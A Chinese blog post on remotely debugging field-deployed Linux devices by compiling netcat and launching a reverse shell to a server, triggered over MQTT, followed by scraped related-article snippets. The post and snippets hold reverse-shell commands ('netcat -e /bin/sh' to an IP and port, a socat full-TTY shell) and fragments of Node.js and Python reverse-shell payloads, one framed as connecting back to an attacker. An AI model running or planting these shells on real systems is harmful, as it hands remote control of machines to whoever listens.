使用 netcat 实现反向 shell 访问以便于远程调试设备

问题

在实际开发项目中,原型产品在推向市场、实际部署使用之前,也需要在实际环境进行试验性运行,以便测试和改进。

但可能出现的一个问题是,部署测试的实际环境与办公室有一定的距离,甚至在不同的城市里。当应用服务程序异常后者挂掉的时候,就没有办法探查设备的实际情况了。

要是在办公室里,就可以基于局域网 ssh 登录访问,甚至基于调试串口登录。由于设备在远程,是无法通过 ssh 直接登录了。

基本概念

我们上面说的“登录”,其实都是是指通过 Linux 的 shell 登录系统。那下面准备介绍的反向 shell 就是基于 Linux shell 的一种技术。这里先介绍这个概念以及相似的 bind shell 概念。

Bind Shell

bind shell 是用户用 bash,将 shell 绑定到一个本地端口上,这样外部系统就可以基于网络往这里发送 shell 命令。自己这里是作为服务端接收命令。但请注意,这需要外部系统有访问这个系统的网络支持,所以一般是在同一个局域网内。

Reverse Shell

反向 shell 是把自己作为客户端,向特定的远程系统发送自己的 shell。虽然在底层上也是通过网络接收 shell 命令并执行,但是这样的“反向”方式适用于不同的网络环境。作为网络通信的发起者,本地终端设备可以主动连接远程服务器,让服务器“登录”上来,执行 shell 命令。

解决方法

netcat 的编译

下载源码:https://sourceforge.net/projects/netcat/

用于 x86 平台的编译

./configure --prefix=/home/jack/others/netcat-0.7.1/netcat
make
make install

用于 ARM 平台的编译(以 OMAPL138 为例)

source /home/jack/omapl138/ti/mcsdk_1_01_00_02/linux-devkit/environment-setup
./configure --prefix=/home/jack/others/netcat-0.7.1/netcat --host=arm-arago-linux-gnueabi
make
make install

生成的文件在当前目录下 netcat 里。

netcat 的使用

先在服务端启动监听

nc -l -p 8089 -vvv

8089 端口号可随意指定一个未被使用的。

在设备端发起反向 shell

./netcat/bin/netcat -e /bin/sh 192.168.1.60 8089

IP 为服务端 IP,端口号与服务端监听的一致。这里 IP 是服务器的公网 IP。

此时就可以在服务端让设备端执行 shell 命令了。

异步发起反向 shell

在项目实践中我们使用了 MQTT,客户端与服务端保持连接。然后我们就让每台设备订阅对应的反向 shell 主题,服务端就可以在需要的时候发送某台设备对应的主题,让其发起一个 netcat 反向 shell 连接了。当然,服务需要事先启动对应的 netcat 监听端口。

这样,就相当于登录了这台设备,可以进行必要的调试操作了。

参考

https://blog.csdn.net/jb19900111/article/details/17756203

廖杰良 - 2018-9-4

原文地址:https://www.cnblogs.com/liaojieliang/p/netcat-reverse-shell.html

时间: 2024-10-10 18:48:54

使用 netcat 实现反向 shell 访问以便于远程调试设备的相关文章

如何使用erlang 的shell 访问远程节点

实验环境: 公司内网的2台机器,一台是我自己的笔记本 (机器名nb11),一台是公司的服务器(机器名ws100),都是win7 的系统 (发觉一个诡异的问题,shell访问的命令,windows 下,只有werl.exe 支持,erl.exe调不出.在命令行启动erl 控制台,不支持) A.首先起分别在2个机器上启动erl 节点 1.首先在笔记本启动 命令输入 erl -same master -setcookie test 机器启动erl后,出现提示 [[email protected]]1>

JavaScript反向shell

Node.js反向Shell 摘自:http://www.itfang.net/?p=109 如下的Javascript就是一个Node.js的反向连接shell. 这个payload将会生成一个/bin/sh的shell,创建一个TCP连接到攻击者的服务器,并且在通信数据流中绑定shell命令. (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn(&

【转载】如何阻止网站被恶意反向代理访问(几种级别的解决方案)

最近有人用小站数据,利用反向代理技术,做了个小偷站.用户访问的是他的网址,但实质上内容数据确是我的,这是一起恶意反向代理事件. 什么是反向代理? 先说说正向代理的概念: 正向代理,也就是传说中的代理,他的工作原理就像一个跳板.简单的说,我是一个用户,我访问不了某网站,但是我能访问一个代理服务器.这个代理服务器呢,他能访问那个我不能访问的网站,于是我先连上代理服务器,告诉他我需要那个无法访问网站的内容,代理服务器去取回来,然后返回给我.从网站的角度,只在代理服务器来取内容的时候有一次记录,有时候并

keepalived+nginx反向代理访问后端web服务器

 架设web服务器通过nginx反向代理访问,并通过keepalived配置nginx反向代理服务器和nginxweb 服务器的故障转移 1.系统:Centos6.6 2.反向代理:Keepalived+nginxproxy:  主机:PHP-API-P1       IP地址:192.168.0.111 主机:PHP-API-P2 IP地址:192.168.0.112 VIP :192.168.0.8 3.后端服务:Keepalived+nginx: 主机:PHP-API-S1 IP地址:19

如何阻止网站被恶意反向代理访问

最近有人用小站数据,利用反向代理技术,做了个小偷站.用户访问的是他的网址,但实质上内容数据确是我的,这是一起恶意反向代理事件. 什么是反向代理? 先说说正向代理的概念: 正向代理,也就是传说中的代理,他的工作原理就像一个跳板.简单的说,我是一个用户,我访问不了某网站,但是我能访问一个代理服务器.这个代理服务器呢,他能访问那个我不能访问的网站,于是我先连上代理服务器,告诉他我需要那个无法访问网站的内容,代理服务器去取回来,然后返回给我.从网站的角度,只在代理服务器来取内容的时候有一次记录,有时候并

反向shell(python)

反向shell(python) client: import socket, subprocess, sys RHOST = sys.argv[1] RPORT = 443 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT)) while True: data = s.recv(1024) en_data = bytearray(data) for i in range(len(en_dat

反向Shell增强

下载socat 在客户端: socat file:`tty`,raw,echo=0 tcp-listen:4444 在服务端: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 如此即可创建功能完全的反向shell 原文地址:https://www.cnblogs.com/JiangOil/p/10513914.html

全新 Mac 安装指南(编程篇)(环境变量、Shell 终端、SSH 远程连接)

注:本文专门用于指导对计算机编程与设计(尤其是互联网产品开发与设计)感兴趣的 Mac 新用户,如何在 Mac OS X 系统上配置开发与上网环境,另有<全新 Mac 安装指南(通用篇)>作为本安装指南的基础篇. 在 <为什么说每个程序员都应该有台Mac电脑>一文中我有提到 Mac 系统的命令行环境与 Linux 系统十分类似,这是因为 Mac OS X 的操作系统内核是 Darwin,它和 Linux 一样是一种优秀的类 Unix 系统.掌握 Linux Shell 命令行的使用,

使用vscode访问和修改远程计算机文件

使用vscode访问和修改远程文件,分三步实现:在远程linux机器上安装rmate:在本地windows上安装openssh:在vscode中安装扩展remote vscode. 1. 在远程linux机器上安装rmate rmate有很多中语言版本,这里用的是python的版本.github地址:https://github.com/sclukey/rmate-python 下载安装比较简单,在linux中执行以下命令即可 wget https://raw.githubusercontent